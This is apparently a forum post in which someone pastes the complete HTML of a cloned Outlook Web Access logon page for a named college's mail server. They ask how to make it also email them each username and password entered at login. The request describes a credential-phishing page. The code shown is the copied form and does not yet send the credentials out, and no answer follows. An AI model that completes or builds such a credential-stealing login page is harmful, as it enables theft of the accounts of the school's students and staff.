I am trying to also make the form send an email with the username & password once they press login.
Any ideas? I've put the code for the form below:
Expand|Select|Wrap|Line Numbers
- <script Language=javascript>
- <!--
- function logonForm_onsubmit()
- {
- if (logonForm.username.value.indexOf("@") !=-1)
- {
- return true;
- }
- logonForm.username.value = "marlborough\\" + logonForm.username.value;
- return false;
- }
- //-->
- </script>
- <FORM action="https://mail.marlboroughcollege.org/exchweb/bin/auth/owaauth.dll" method="POST" name="logonForm" autocomplete="off" onsubmit="logonForm_onsubmit()">
- <INPUT type="hidden" name="destination" value="https://mail.marlboroughcollege.org/Exchange">
- <INPUT type="hidden" name="flags" value="0">
- <TABLE id="borderTable" class="standardTable" cellSpacing=0 cellPadding=0 height="100%" width="100%" bgColor="#3D5FA3" border=0>
- <TR height=20>
- <TD width="33%"> </TD>
- <TD width="33%"> </TD>
- <TD width="34%"> </TD>
- </TR>
- <TR>
- <TD width="33%"> </TD>
- <TD width="33%" valign="top">
- <TABLE id="mainTable" class="mainTable" cellSpacing=0 cellPadding=0 width=550 bgColor="#FFFFFF" border=0>
- <TR>
- <TD><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width="10"></TD>
- <TD height="100%" valign=top>
- <TABLE id="sidebarTable" class="standardTable" height="100%" width="100%" cellSpacing=0 cellPadding=0 border=0>
- <TR><TD width="100%" height="100%"><IMG title="" alt="" height=421 src="https://mail.marlboroughcollege.org/exchweb/img/logon_Nav.gif" width=76 border=0></TD></TR>
- </TABLE>
- </TD>
- <TD><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width="5"></TD>
- <TD width="100%" valign=top>
- <TABLE id="logoTable" dir="LTR" cellSpacing=0 cellPadding=0 width="100%" border="0" bgColor="#FFFFFF">
- <TR>
- <TD vAlign=top align="right" width="100%" height=120 style="padding-top: 15">
- <IMG title="" alt="" height=12 src="https://mail.marlboroughcollege.org/exchweb/img/logon_Microsoft.gif" width=59 border=0 hspace=10>
- </TD>
- </TR>
- <TR>
- <TD class="logoTD" width="100%">
- <IMG title="Microsoft Office Outlook Web Access provided by Microsoft Exchange Server 2003" alt="Microsoft Office Outlook Web Access provided by Microsoft Exchange Server 2003" height=62 src="https://mail.marlboroughcollege.org/exchweb/img/logon_logo.gif" width=331 border=0 hspace=0>
- </TD>
- </TR>
- <TR>
- <TD width="100%">
- <TABLE id="usertxtTable" width="100%" cellspacing=0 cellpadding=0 border=0 bgColor="#FFFFFF">
- <TR><TD noWrap align="left" valign="top" height="8"> </TD><TD width=10><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=10></TD></TR>
- <TR><TD noWrap align="left" valign="top" height="8"> </TD><TD width=10 rowspan=2> </TD></TR>
- <TR>
- <TD VALIGN=top>
- <TABLE id="contentTable" width="100%" height="100%" cellpadding=0 cellspacing=0 border="0" bgColor="#FFFFFF">
- <TR>
- <TD NOWRAP width="1%"><P><LABEL for="username">Username:</LABEL></P></TD>
- <TD rowspan=7> </TD>
- <TD width="98%"><INPUT type="text" id="username" name="username" style="width:100%" size="25" maxlength="256"></TD>
- <TD rowspan=4> </TD>
- <TD width="1%"> </TD>
- </TR>
- <TR>
- <TD height="5"></TD>
- <TD valign="top" height="5"><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=25 height=5></TD>
- <TD height=5></TD>
- </TR>
- <TR>
- <TD NOWRAP width="1%"><P><LABEL for="password">Password:</LABEL></P></TD>
- <TD width="98%"><INPUT type="password" autocomplete="off" style="width:100%" id="password" name="password" size="25" maxlength="256"></TD>
- <TD width="1%"><INPUT type="submit" value="Log On" id="SubmitCreds" name="SubmitCreds"></TD>
- </TR>
- <TR>
- <TD height="12"></TD>
- <TD valign="top" height="12"><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" width=25 height=12></TD>
- <TD height=12></TD>
- </TR>
- <TR><TD> </TD><TD colspan=4><TABLE cellspacing=0 cellpadding=0 border=0><TR><TD colspan=2 width="100%" style="padding-bottom:3px;"><B>Security</B> </TD></TR><TR><TD colspan="2"><TABLE cellspacing=0 cellpadding=0><TR><TD><INPUT id="rdoPublic" checked type="radio" name="trusted" value="0" onclick="flags.value &= 11"></TD><TD NOWRAP><LABEL for="rdoPublic">Public or shared computer</LABEL></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR id="trPublic"><TD> </TD><TD>Select this option if you use Outlook Web Access on a public computer.</TD></TR></TABLE></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR><TD colspan="2"><TABLE cellspacing=0 cellpadding=0><TR><TD><INPUT id="rdoTrusted" name="trusted" type="radio" value="4" onclick="flags.value |= 4"></TD><TD NOWRAP><LABEL for="rdoTrusted">Private computer</LABEL></TD></TR><TR><TD height=6><img title="" alt="" src="https://mail.marlboroughcollege.org/exchweb/img/spacer.gif" height=6></TD><TD height=6></TD></TR><TR id="trTrusted"><TD> </TD><TD>Select this option if you are the only person who uses this computer.</TD></TR><TR id="trWrn"><TD> </TD><TD><FONT color="red"><B>Warning:</B> By selecting this option you acknowledge that the computer complies with your organization's security policy.</FONT></TD></TR></TABLE></TD></TR></TABLE></TD></TR>
- </TABLE>
- </TD>
- </TR>
- </TABLE>
- </TD>
- </TR>
- <TR><TD colspan=2 width="100%"> </TD></TR>
- </TABLE>
- </TD>
- </TR>
- </TABLE>
- <DIV dir="LTR" >
- <FONT color="#FFFFFF">
- <BR>
- To protect your account from unauthorized access, Outlook Web Access automatically closes its connection to your mailbox after a period of inactivity. If your session ends, refresh your browser, and then log on again.
- </FONT>
- </DIV>
- </TD>
- <TD width="34%"> </TD>
- </TR>
- <TR>
- <TD width="33%"> </TD>
- <TD width="33%"> </TD>
- <TD width="34%"> </TD>
- </TR>
- </TABLE>
- </FORM>